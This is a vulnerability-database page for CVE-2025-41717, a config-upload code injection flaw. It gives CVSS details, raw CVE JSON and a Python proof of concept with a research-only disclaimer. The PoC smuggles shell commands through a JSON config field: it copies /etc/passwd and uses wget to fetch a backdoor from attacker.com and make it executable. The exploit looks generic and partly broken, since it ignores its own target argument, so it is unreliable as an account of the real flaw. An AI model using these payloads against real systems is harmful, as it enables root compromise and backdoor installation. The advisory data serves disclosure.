Security Vulnerability Report
中文
CVE-2025-41717 CVSS 8.8 HIGH

CVE-2025-41717

Published: 2026-01-13 08:16:04
Last Modified: 2026-04-15 00:35:42

Description

An unauthenticated remote attacker can trick a high privileged user into uploading a malicious payload via the config-upload endpoint, leading to code injection as root. This results in a total loss of confidentiality, availability and integrity due to improper control of code generation ('Code Injection’).

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

受影响产品 < 修复版本
建议联系厂商获取具体受影响版本信息

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-41717 PoC - Config Upload Code Injection # Note: This PoC is for educational and authorized testing purposes only import requests import json import sys TARGET_URL = "http://target.com" CONFIG_UPLOAD_ENDPOINT = f"{TARGET_URL}/api/config-upload" def create_malicious_config(): """Generate malicious configuration payload for code injection""" # Malicious payload that will be executed with root privileges malicious_payload = { "config": { "name": "malicious_config", "commands": [ ";cat /etc/passwd > /tmp/pwned.txt", ";echo 'hacked' > /tmp/root_shell.sh && chmod +x /tmp/root_shell.sh", ";wget http://attacker.com/backdoor -O /tmp/backdoor && chmod +x /tmp/backdoor" ] } } return json.dumps(malicious_payload) def exploit(target_url): """Attempt to exploit CVE-2025-41717""" print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2025-41717 config-upload code injection") # Create malicious configuration file payload = create_malicious_config() # Prepare the upload request files = { 'config_file': ('config.json', payload, 'application/json') } try: # Send the malicious upload request # Note: In real scenario, this would be triggered by social engineering # to trick an admin user into uploading the file response = requests.post(CONFIG_UPLOAD_ENDPOINT, files=files, timeout=10) print(f"[+] Request sent - Status: {response.status_code}") print(f"[*] Response: {response.text[:200]}") if response.status_code == 200: print("[+] Payload delivered - Check for code execution") else: print("[-] Attack may have failed - Check target configuration") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) > 1: exploit(sys.argv[1]) else: print("Usage: python3 cve_2025_41717_poc.py <target_url>")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41717", "sourceIdentifier": "[email protected]", "published": "2026-01-13T08:16:03.993", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated remote attacker can trick a high privileged user into uploading a malicious payload via the config-upload endpoint, leading to code injection as root. This results in a total loss of confidentiality, availability and integrity due to improper control of code generation ('Code Injection’)."}, {"lang": "es", "value": "Un atacante remoto no autenticado puede engañar a un usuario con altos privilegios para que cargue una carga útil maliciosa a través del endpoint config-upload, lo que lleva a la inyección de código como root. Esto resulta en una pérdida total de confidencialidad, disponibilidad e integridad debido a un control inadecuado de la generación de código ('Inyección de Código')."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-073", "source": "[email protected]"}, {"url": "http://seclists.org/fulldisclosure/2026/Feb/3", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}